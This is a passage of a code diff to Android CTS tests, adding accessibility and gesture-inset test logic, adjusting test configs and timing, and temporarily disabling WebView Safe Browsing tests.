+ }
+
+ private void resetOriginalService() {
+ Log.d(TAG, "reset to " + mOriginalOverrideService);
+ runShellCommand(
+ "device_config put textclassifier textclassifier_service_package_override "
+ + mOriginalOverrideService);
+ }
+
+ private void resetService() throws InterruptedException {
+ resetOriginalService();
+ if (sServiceWatcher != null && sServiceWatcher.mService != null) {
+ sServiceWatcher.waitOnDisconnected();
+ } else {
+ waitForIdle();
+ }
+ }
+
+ /**
+ * Returns the TestRule that runs clean up after a test is finished. See {@link SafeCleanerRule}
+ * for more details.
+ */
+ public SafeCleanerRule newSafeCleaner() {
+ return new SafeCleanerRule()
+ .add(() -> {
+ return getExceptions();
+ });
+ }
+
+ /**
+ * Gets the exceptions that were thrown while the service handled requests.
+ */
+ @NonNull
+ private static List<Throwable> getExceptions() throws Exception {
+ return Collections.unmodifiableList(sExceptions);
+ }
+
+ private static void addException(@NonNull String fmt, @Nullable Object...args) {
+ final String msg = String.format(fmt, args);
+ Log.e(TAG, msg);
+ sExceptions.add(new IllegalStateException(msg));
+ }
+
+ private CtsTextClassifierService waitServiceLazyConnect() throws InterruptedException {
+ if (sServiceWatcher != null) {
+ return sServiceWatcher.waitOnConnected();
+ }
+ return null;
+ }
+
+ public static final class ServiceWatcher {
+ private final CountDownLatch mCreated = new CountDownLatch(1);
+ private final CountDownLatch mDestroyed = new CountDownLatch(1);
+
+ CtsTextClassifierService mService;
+
+ public static void onConnected(CtsTextClassifierService service) {
+ Log.i(TAG, "onConnected: sServiceWatcher=" + sServiceWatcher);
+
+ if (sServiceWatcher == null) {
+ addException("onConnected() without a watcher");
+ return;
+ }
+
+ if (sServiceWatcher.mService != null) {
+ addException("onConnected(): already created: " + sServiceWatcher);
+ return;
+ }
+
+ sServiceWatcher.mService = service;
+ sServiceWatcher.mCreated.countDown();
+ }
+
+ public static void onDisconnected() {
+ Log.i(TAG, "onDisconnected: sServiceWatcher=" + sServiceWatcher);
+
+ if (sServiceWatcher == null) {
+ addException("onDisconnected() without a watcher");
+ return;
+ }
+
+ if (sServiceWatcher.mService == null) {
+ addException("onDisconnected(): no service on %s", sServiceWatcher);
+ return;
+ }
+ sServiceWatcher.mDestroyed.countDown();
+ }
+
+ @NonNull
+ public CtsTextClassifierService waitOnConnected() throws InterruptedException {
+ await(mCreated, "not created");
+
+ if (mService == null) {
+ throw new IllegalStateException("not created");
+ }
+ return mService;
+ }
+
+ public void waitOnDisconnected() throws InterruptedException {
+ await(mDestroyed, "not destroyed");
+ }
+
+ private void await(@NonNull CountDownLatch latch, @NonNull String fmt,
+ @Nullable Object... args)
+ throws InterruptedException {
+ final boolean called = latch.await(GENERIC_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (!called) {
+ throw new IllegalStateException(String.format(fmt, args)
+ + " in " + GENERIC_TIMEOUT_MS + "ms");
+ }
+ }
+ }
+}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
index f0022cd..5479444 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
@@ -333,6 +333,7 @@
public void testTextLinks_defaultValues() {
final TextLinks textLinks = new TextLinks.Builder(TEXT).build();
+ assertEquals(TEXT, textLinks.getText());
assertTrue(textLinks.getExtras().isEmpty());
assertTrue(textLinks.getLinks().isEmpty());
}
@@ -344,6 +345,7 @@
.addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
.build();
+ assertEquals(TEXT, textLinks.getText());
assertEquals(BUNDLE_VALUE, textLinks.getExtras().getString(BUNDLE_KEY));
assertEquals(1, textLinks.getLinks().size());
TextLinks.TextLink textLink = textLinks.getLinks().iterator().next();
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 9c9217b..0af0696 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -200,7 +200,7 @@
final long timeOutMs = mOnEmbedded ? 125000 : 62500;
final long captureDuration = animationTestCase.hasAnimation() ?
- getCaptureDurationMs() : 200;
+ getCaptureDurationMs() : 0;
final long endCaptureDelayMs = START_CAPTURE_DELAY_MS + captureDuration;
final long endDelayMs = endCaptureDelayMs + 1000;
@@ -260,8 +260,10 @@
null /*Handler*/);
}, START_CAPTURE_DELAY_MS);
+ final int SINGLE_FRAME_TIMEOUT_MS = 1000;
mHandler.postDelayed(() -> {
Log.d(TAG, "Stopping capture");
+ mSurfacePixelValidator.waitForFrame(SINGLE_FRAME_TIMEOUT_MS);
mVirtualDisplay.release();
mVirtualDisplay = null;
}, endCaptureDelayMs);
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java
index 26b43c4..6152dfb 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator2.java
@@ -68,6 +68,7 @@
boolean success = mPixelChecker.validatePlane(plane, mBoundsToCheck, mWidth, mHeight);
synchronized (mResultLock) {
+ mResultLock.notifyAll();
if (success) {
mResultSuccessFrames++;
} else {
@@ -90,6 +91,18 @@
}
};
+ void waitForFrame(int timeoutMs) {
+ synchronized (mResultLock) {
+ if (mResultSuccessFrames != 0 || mResultFailureFrames != 0) {
+ return;
+ }
+ try {
+ mResultLock.wait(timeoutMs);
+ } catch (Exception e) {
+ }
+ }
+ }
+
private static void getPixels(Image image, int[] dest, Rect bounds) {
Bitmap hwBitmap = Bitmap.wrapHardwareBuffer(image.getHardwareBuffer(), null);
Bitmap swBitmap = hwBitmap.copy(Bitmap.Config.ARGB_8888, false);
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
index 338c361..6c4a3a7 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
@@ -134,7 +134,6 @@
mActivityControl.finishActivity();
}
}
-
private final class SessionControl {
private @Nullable RemoteCallback mControl;
diff --git a/tests/tests/voicesettings/AndroidTest.xml b/tests/tests/voicesettings/AndroidTest.xml
index 11e749e..5e7e446 100644
--- a/tests/tests/voicesettings/AndroidTest.xml
+++ b/tests/tests/voicesettings/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index ec39a5c..9b26397 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -634,7 +634,8 @@
* Modifications to this test should be reflected in that test as necessary. See
* http://go/modifying-webview-cts.
*/
- public void testOnSafeBrowsingHitBackToSafety() throws Throwable {
+ // TODO(ntfschr): re-enable when https://crbug.com/1006953 is fixed and dropped into Android.
+ public void disabled_testOnSafeBrowsingHitBackToSafety() throws Throwable {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
}
@@ -674,7 +675,8 @@
* Modifications to this test should be reflected in that test as necessary. See
* http://go/modifying-webview-cts.
*/
- public void testOnSafeBrowsingHitProceed() throws Throwable {
+ // TODO(ntfschr): re-enable when https://crbug.com/1006953 is fixed and dropped into Android.
+ public void disabled_testOnSafeBrowsingHitProceed() throws Throwable {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
}
@@ -735,22 +737,26 @@
}
}
- public void testOnSafeBrowsingMalwareCode() throws Throwable {
+ // TODO(ntfschr): re-enable when https://crbug.com/1006953 is fixed and dropped into Android.
+ public void disabled_testOnSafeBrowsingMalwareCode() throws Throwable {
testOnSafeBrowsingCode(TEST_SAFE_BROWSING_MALWARE_URL,
WebViewClient.SAFE_BROWSING_THREAT_MALWARE);
}
- public void testOnSafeBrowsingPhishingCode() throws Throwable {
+ // TODO(ntfschr): re-enable when https://crbug.com/1006953 is fixed and dropped into Android.
+ public void disabled_testOnSafeBrowsingPhishingCode() throws Throwable {
testOnSafeBrowsingCode(TEST_SAFE_BROWSING_PHISHING_URL,
WebViewClient.SAFE_BROWSING_THREAT_PHISHING);
}
- public void testOnSafeBrowsingUnwantedSoftwareCode() throws Throwable {
+ // TODO(ntfschr): re-enable when https://crbug.com/1006953 is fixed and dropped into Android.
+ public void disabled_testOnSafeBrowsingUnwantedSoftwareCode() throws Throwable {
testOnSafeBrowsingCode(TEST_SAFE_BROWSING_UNWANTED_SOFTWARE_URL,
WebViewClient.SAFE_BROWSING_THREAT_UNWANTED_SOFTWARE);
}
- public void testOnSafeBrowsingBillingCode() throws Throwable {
+ // TODO(ntfschr): re-enable when https://crbug.com/1006953 is fixed and dropped into Android.
+ public void disabled_testOnSafeBrowsingBillingCode() throws Throwable {
testOnSafeBrowsingCode(TEST_SAFE_BROWSING_BILLING_URL,
WebViewClient.SAFE_BROWSING_THREAT_BILLING);
}
@@ -902,8 +908,11 @@
@Override
public void onPageFinished(WebView view, String url) {
super.onPageFinished(view, url);
- assertTrue(mOnPageStartedCalled);
- assertTrue(mOnLoadResourceCalled);
+ // TODO(ntfschr): propagate these exceptions to the instrumentation thread.
+ assertTrue("Expected onPageStarted to be called before onPageFinished",
+ mOnPageStartedCalled);
+ assertTrue("Expected onLoadResource to be called before onPageFinished",
+ mOnLoadResourceCalled);
mOnPageFinishedCalled = true;
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index e134bf5..5e29eea 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1698,7 +1698,7 @@
final int previousScrollX = mOnUiThread.getScrollX();
final int previousScrollY = mOnUiThread.getScrollY();
- mOnUiThread.flingScroll(100, 100);
+ mOnUiThread.flingScroll(10000, 10000);
new PollingCheck() {
@Override
diff --git a/tests/tests/widget/AndroidTest.xml b/tests/tests/widget/AndroidTest.xml
index fd9afe8..8cd40dc 100644
--- a/tests/tests/widget/AndroidTest.xml
+++ b/tests/tests/widget/AndroidTest.xml
@@ -26,5 +26,6 @@
<option name="package" value="android.widget.cts" />
<option name="runtime-hint" value="11m55s" />
<option name="hidden-api-checks" value="false" />
+ <option name="instrumentation-arg" key="thisisignored" value="thisisignored --no-window-animation" />
</test>
</configuration>
diff --git a/tests/tests/widget/OWNERS b/tests/tests/widget/OWNERS
new file mode 100644
index 0000000..12f176d
--- /dev/null
+++ b/tests/tests/widget/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 25700
+adamp@google.com
+mount@google.com
+shepshapard@google.com
+clarabayarri@google.com
diff --git a/tests/tests/widget/res/layout/listview_layout.xml b/tests/tests/widget/res/layout/listview_layout.xml
index 3094a89..79669c1 100644
--- a/tests/tests/widget/res/layout/listview_layout.xml
+++ b/tests/tests/widget/res/layout/listview_layout.xml
@@ -16,6 +16,7 @@
<FrameLayout
xmlns:android="http://schemas.android.com/apk/res/android"
+ android:id="@+id/content"
android:layout_width="match_parent"
android:layout_height="match_parent">
diff --git a/tests/tests/widget/res/layout/widget_attribute_layout.xml b/tests/tests/widget/res/layout/widget_attribute_layout.xml
index 1cc5517..872b0eb 100644
--- a/tests/tests/widget/res/layout/widget_attribute_layout.xml
+++ b/tests/tests/widget/res/layout/widget_attribute_layout.xml
@@ -47,4 +47,11 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content"
style="@style/ExplicitStyle1" />
+
+ <ViewAnimator
+ android:id="@+id/viewAnimator"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:inAnimation="@android:anim/slide_in_left"
+ android:outAnimation="@android:anim/slide_out_right" />
</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/values/styles.xml b/tests/tests/widget/res/values/styles.xml
index 11e3128..a3ff68b 100644
--- a/tests/tests/widget/res/values/styles.xml
+++ b/tests/tests/widget/res/values/styles.xml
@@ -369,10 +369,6 @@
<item name="themeTileMode">2</item>
</style>
- <style name="Theme_NoSwipeDismiss">
- <item name="android:windowSwipeToDismiss">false</item>
- </style>
-
<style name="PopupEmptyStyle" />
<style name="TabWidgetCustomStyle" parent="android:Widget.TabWidget">
@@ -404,8 +400,6 @@
</style>
<style name="Theme.PopupWindowCtsActivity" parent="@android:style/Theme.Holo">
- <!-- Force swipe-to-dismiss to false. -->
- <item name="android:windowSwipeToDismiss">false</item>
</style>
<style name="TextView_FontResource">
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index 612b233..0a57c21 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -45,6 +45,7 @@
import android.content.res.Configuration;
import android.graphics.Canvas;
import android.graphics.Color;
+import android.graphics.Insets;
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
import android.text.Editable;
@@ -58,6 +59,7 @@
import android.view.Menu;
import android.view.View;
import android.view.ViewGroup;
+import android.view.WindowInsets;
import android.widget.AbsListView;
import android.widget.AbsListView.OnScrollListener;
import android.widget.AdapterView;
@@ -128,7 +130,7 @@
private static final float DELTA = 0.001f;
@Before
- public void setup() throws Exception {
+ public void setup() throws Throwable {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
final Activity activity = mActivityRule.getActivity();
// Always use the activity context
@@ -146,6 +148,17 @@
android.R.layout.simple_list_item_1, COUNTRY_LIST);
mListView = (ListView) activity.findViewById(R.id.listview_default);
+
+ // Full-height drag gestures clash with system navigation gestures (such as
+ // swipe up from the bottom of the screen to go home). Get the system
+ // gesture insets and apply bottom padding on the entire content so
+ // that our own drag gestures are processed within the activity.
+ WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
+ ViewGroup content = activity.findViewById(R.id.content);
+ WindowInsets rootWindowInsets = content.getRootWindowInsets();
+ Insets systemGestureInsets = rootWindowInsets.getSystemGestureInsets();
+ content.setPadding(0, 0, 0, systemGestureInsets.bottom);
+ });
}
private boolean isWatch() {
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
index a31963c..0264665 100644
--- a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -728,14 +728,15 @@
WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, () -> {
mActivity.setContentView(R.layout.magnifier_activity_centered_surfaceview_layout);
}, false /* forceLayout */);
- final View view = mActivity.findViewById(R.id.magnifier_centered_view);
- WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, view, () -> {
+ WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, () -> {
// Draw something in the SurfaceView for the Magnifier to copy.
+ final View view = mActivity.findViewById(R.id.magnifier_centered_view);
final SurfaceHolder surfaceHolder = ((SurfaceView) view).getHolder();
final Canvas canvas = surfaceHolder.lockHardwareCanvas();
canvas.drawColor(Color.BLUE);
surfaceHolder.unlockCanvasAndPost(canvas);
- });
+ }, false /* forceLayout */);
+ final View view = mActivity.findViewById(R.id.magnifier_centered_view);
final Magnifier.Builder builder = new Magnifier.Builder(view)
.setSize(100, 100)
.setInitialZoom(5f) /* 20x20 source size */
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java b/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
index 74852c5..a8b3c8f 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
@@ -31,6 +31,7 @@
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewGroup.OnHierarchyChangeListener;
+import android.view.accessibility.AccessibilityNodeInfo;
import android.widget.LinearLayout;
import android.widget.RadioButton;
import android.widget.RadioGroup;
@@ -412,6 +413,31 @@
assertEquals(5, mRadioGroup.getChildCount());
}
+ @UiThreadTest
+ @Test
+ public void testOnInitializeAccessibilityNodeInfo_populatesCollectionInfo() {
+ AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+ mRadioGroup.onInitializeAccessibilityNodeInfo(info);
+
+ AccessibilityNodeInfo.CollectionInfo colInfo = info.getCollectionInfo();
+ assertNotNull(colInfo);
+ assertEquals(colInfo.getRowCount(), mRadioGroup.getChildCount());
+ }
+
+ @UiThreadTest
+ @Test
+ public void testOnInitializeAccessibilityNodeInfo_populatesCollectionItemInfo() {
+ RadioButton child = (RadioButton) mRadioGroup.getChildAt(1);
+ child.setChecked(true);
+
+ AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+ child.onInitializeAccessibilityNodeInfo(info);
+
+ AccessibilityNodeInfo.CollectionItemInfo colItemInfo = info.getCollectionItemInfo();
+ assertEquals(colItemInfo.getRowIndex(), 1);
+ assertEquals(colItemInfo.isSelected(), true);
+ }
+
private AttributeSet getAttributeSet(int resId) {
XmlPullParser parser = mActivity.getResources().getLayout(resId);
assertNotNull(parser);
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
index 2d6804e..2918931 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
@@ -148,10 +148,10 @@
AttributeSet attrs = getAttributeSet(android.widget.cts.R.layout.radiogroup_1);
TypedArray a = mContext.obtainStyledAttributes(attrs,
- android.R.styleable.ViewGroup_MarginLayout);
+ android.R.styleable.ViewGroup_Layout);
layoutParams.setBaseAttributes(a,
- android.R.styleable.ViewGroup_MarginLayout_layout_width,
- android.R.styleable.ViewGroup_MarginLayout_layout_height);
+ android.R.styleable.ViewGroup_Layout_layout_width,
+ android.R.styleable.ViewGroup_Layout_layout_height);
// check the attributes from the layout file
assertEquals(RadioGroup.LayoutParams.MATCH_PARENT, layoutParams.width);
assertEquals(RadioGroup.LayoutParams.MATCH_PARENT, layoutParams.height);
diff --git a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
index 7cd082b..50405dc 100644
--- a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
@@ -26,8 +26,11 @@
import android.app.Activity;
import android.app.Instrumentation;
+import android.graphics.Rect;
import android.os.SystemClock;
import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowInsets;
import android.widget.SeekBar;
import androidx.test.InstrumentationRegistry;
@@ -42,6 +45,9 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.ArrayList;
+import java.util.List;
+
/**
* Test {@link SeekBar}.
*/
@@ -57,10 +63,37 @@
new ActivityTestRule<>(SeekBarCtsActivity.class);
@Before
- public void setup() {
+ public void setup() throws Throwable {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mActivity = mActivityRule.getActivity();
- mSeekBar = (SeekBar) mActivity.findViewById(R.id.seekBar);
+ mSeekBar = mActivity.findViewById(R.id.seekBar);
+ if (mSeekBar.isAttachedToWindow()) {
+ updateExclusionRects();
+ } else {
+ mSeekBar.addOnAttachStateChangeListener(new View.OnAttachStateChangeListener() {
+ @Override
+ public void onViewAttachedToWindow(View view) {
+ mSeekBar.removeOnAttachStateChangeListener(this);
+ updateExclusionRects();
+ }
+
+ @Override
+ public void onViewDetachedFromWindow(View view) {
+ }
+ });
+ }
+ }
+
+ private void updateExclusionRects() {
+ // "Mark" the left edge of our seek bar to be excluded from system gestures.
+ // This does not need to be RTL-aware since the logic in the change listener
+ // always injects the events from left to right.
+ WindowInsets rootWindowInsets = mSeekBar.getRootWindowInsets();
+ List<Rect> exclusion = new ArrayList<>();
+ exclusion.add(new Rect(0, 0,
+ rootWindowInsets.getSystemGestureInsets().left,
+ mSeekBar.getHeight()));
+ mSeekBar.setSystemGestureExclusionRects(exclusion);
}
@Test
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 01d5cd8..86e674e 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -169,6 +169,7 @@
import java.io.IOException;
import java.lang.annotation.Retention;
import java.util.Arrays;
+import java.util.List;
import java.util.Locale;
/**
@@ -7149,6 +7150,106 @@
TextUtils.equals(hintText, info.getHintText()));
}
+ @UiThreadTest
+ @Test
+ public void testOnInitializeA11yNodeInfo_removesClickabilityWithLinkMovementMethod() {
+ mTextView = findTextView(R.id.textview_text);
+ mTextView.setMovementMethod(new LinkMovementMethod());
+
+ assertTrue("clickable should be true", mTextView.isClickable());
+ assertFalse("View should not have onClickListeners", mTextView.hasOnClickListeners());
+ assertTrue("longClickable should be true", mTextView.isLongClickable());
+ assertFalse("View should not have onLongClickListeners",
+ mTextView.hasOnLongClickListeners());
+
+ final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+ mTextView.onInitializeAccessibilityNodeInfo(info);
+ List<AccessibilityNodeInfo.AccessibilityAction> actionList = info.getActionList();
+ assertFalse("info's isClickable should be false", info.isClickable());
+ assertFalse("info should not have ACTION_CLICK",
+ actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_CLICK));
+ assertFalse("info's isLongClickable should be false",
+ info.isLongClickable());
+ assertFalse("info should not have ACTION_LONG_CLICK",
+ actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_LONG_CLICK));
+ }
+
+ @UiThreadTest
+ @Test
+ public void testOnInitializeA11yNodeInfo_keepsClickabilityWithMovementMethod() {
+ mTextView = findTextView(R.id.textview_text);
+ mTextView.setMovementMethod(new ArrowKeyMovementMethod());
+
+ assertTrue("clickable should be true", mTextView.isClickable());
+ assertFalse("View should not have onClickListeners", mTextView.hasOnClickListeners());
+ assertTrue("longClickable should be false", mTextView.isLongClickable());
+ assertFalse("View should not have onLongClickListeners",
+ mTextView.hasOnLongClickListeners());
+
+ final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+ mTextView.onInitializeAccessibilityNodeInfo(info);
+ List<AccessibilityNodeInfo.AccessibilityAction> actionList = info.getActionList();
+ assertTrue("info's isClickable should be true", info.isClickable());
+ assertTrue("info should have ACTION_CLICK",
+ actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_CLICK));
+ assertTrue("info's isLongClickable should be true",
+ info.isLongClickable());
+ assertTrue("info should have ACTION_LONG_CLICK",
+ actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_LONG_CLICK));
+ }
+
+ @UiThreadTest
+ @Test
+ public void testOnInitializeA11yNodeInfo_keepsClickabilityWithOnClickListener() {
+ mTextView = findTextView(R.id.textview_text);
+ mTextView.setMovementMethod(new LinkMovementMethod());
+
+ assertTrue("clickable should be true", mTextView.isClickable());
+ assertFalse("View should not have onClickListeners", mTextView.hasOnClickListeners());
+ assertTrue("longClickable should be true", mTextView.isLongClickable());
+ assertFalse("View should not have onLongClickListeners",
+ mTextView.hasOnLongClickListeners());
+
+ mTextView.setOnClickListener(mock(View.OnClickListener.class));
+
+ final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+ mTextView.onInitializeAccessibilityNodeInfo(info);
+ List<AccessibilityNodeInfo.AccessibilityAction> actionList = info.getActionList();
+ assertTrue("info's isClickable should be true", info.isClickable());
+ assertTrue("info should have ACTION_CLICK",
+ actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_CLICK));
+ assertFalse("info's isLongClickable should not be true",
+ info.isLongClickable());
+ assertFalse("info should have ACTION_LONG_CLICK",
+ actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_LONG_CLICK));
+ }
+
+ @UiThreadTest
+ @Test
+ public void testOnInitializeA11yNodeInfo_keepsLongClickabilityWithOnLongClickListener() {
+ mTextView = findTextView(R.id.textview_text);
+ mTextView.setMovementMethod(new LinkMovementMethod());
+
+ assertTrue("clickable should be true", mTextView.isClickable());
+ assertFalse("View should not have onClickListeners", mTextView.hasOnClickListeners());
+ assertTrue("longClickable should be true", mTextView.isLongClickable());
+ assertFalse("View should not have onLongClickListeners",
+ mTextView.hasOnLongClickListeners());
+
+ mTextView.setOnLongClickListener(mock(View.OnLongClickListener.class));
+
+ final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+ mTextView.onInitializeAccessibilityNodeInfo(info);
+ List<AccessibilityNodeInfo.AccessibilityAction> actionList = info.getActionList();
+ assertFalse("info's isClickable should be false", info.isClickable());
+ assertFalse("info should not have ACTION_CLICK",
+ actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_CLICK));
+ assertTrue("info's isLongClickable should be true",
+ info.isLongClickable());
+ assertTrue("info should have ACTION_LONG_CLICK",
+ actionList.contains(AccessibilityNodeInfo.AccessibilityAction.ACTION_LONG_CLICK));
+ }
+
@Test
public void testAutosizeWithMaxLines_shouldNotThrowException() throws Throwable {
// the layout contains an instance of CustomTextViewWithTransformationMethod
diff --git a/tests/tests/widget/src/android/widget/cts/WidgetAttributeTest.kt b/tests/tests/widget/src/android/widget/cts/WidgetAttributeTest.kt
index 5b41755..2296ae2 100644
--- a/tests/tests/widget/src/android/widget/cts/WidgetAttributeTest.kt
+++ b/tests/tests/widget/src/android/widget/cts/WidgetAttributeTest.kt
@@ -17,10 +17,6 @@
package android.widget.cts
import android.app.Activity
-import androidx.test.InstrumentationRegistry
-import androidx.test.filters.MediumTest
-import androidx.test.rule.ActivityTestRule
-import androidx.test.runner.AndroidJUnit4
import android.support.test.uiautomator.UiDevice
import android.view.LayoutInflater
import android.widget.LinearLayout
@@ -28,6 +24,11 @@
import android.widget.Switch
import android.widget.TextView
import android.widget.Toolbar
+import android.widget.ViewAnimator
+import androidx.test.InstrumentationRegistry
+import androidx.test.filters.MediumTest
+import androidx.test.rule.ActivityTestRule
+import androidx.test.runner.AndroidJUnit4
import org.junit.After
import org.junit.Assert.assertEquals
import org.junit.Before
@@ -113,14 +114,12 @@
assertEquals(R.style.ExplicitStyle1, stackTextView1textSize[1])
assertEquals(R.style.ParentOfExplicitStyle1, stackTextView1textSize[2])
assertEquals(R.style.TextViewWithoutColorAndAppearance, stackTextView1textSize[3])
- val stackTextView1textColorHighlight =
- textview1.getAttributeResolutionStack(android.R.attr.textColorHighlight)
- assertEquals(5, stackTextView1textColorHighlight.size.toLong())
- assertEquals(R.layout.widget_attribute_layout, stackTextView1textColorHighlight[0])
- assertEquals(R.style.ExplicitStyle1, stackTextView1textColorHighlight[1])
- assertEquals(R.style.ParentOfExplicitStyle1, stackTextView1textColorHighlight[2])
- assertEquals(android.R.style.Widget_Material_TextView, stackTextView1textColorHighlight[3])
- assertEquals(android.R.style.Widget_TextView, stackTextView1textColorHighlight[4])
+
+ val viewAnimator = rootView.findViewById<ViewAnimator>(R.id.viewAnimator)
+ val viewAnimatorOutAnimation =
+ viewAnimator.getAttributeResolutionStack(android.R.attr.outAnimation)
+ assertEquals(1, viewAnimatorOutAnimation.size.toLong())
+ assertEquals(R.layout.widget_attribute_layout, viewAnimatorOutAnimation[0])
}
@Test
diff --git a/tests/tests/wrap/nowrap/AndroidTest.xml b/tests/tests/wrap/nowrap/AndroidTest.xml
index 4fa089e..40baa14 100644
--- a/tests/tests/wrap/nowrap/AndroidTest.xml
+++ b/tests/tests/wrap/nowrap/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsWrapNoWrapTestCases.apk" />
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
index f1f42a1..ebba361 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
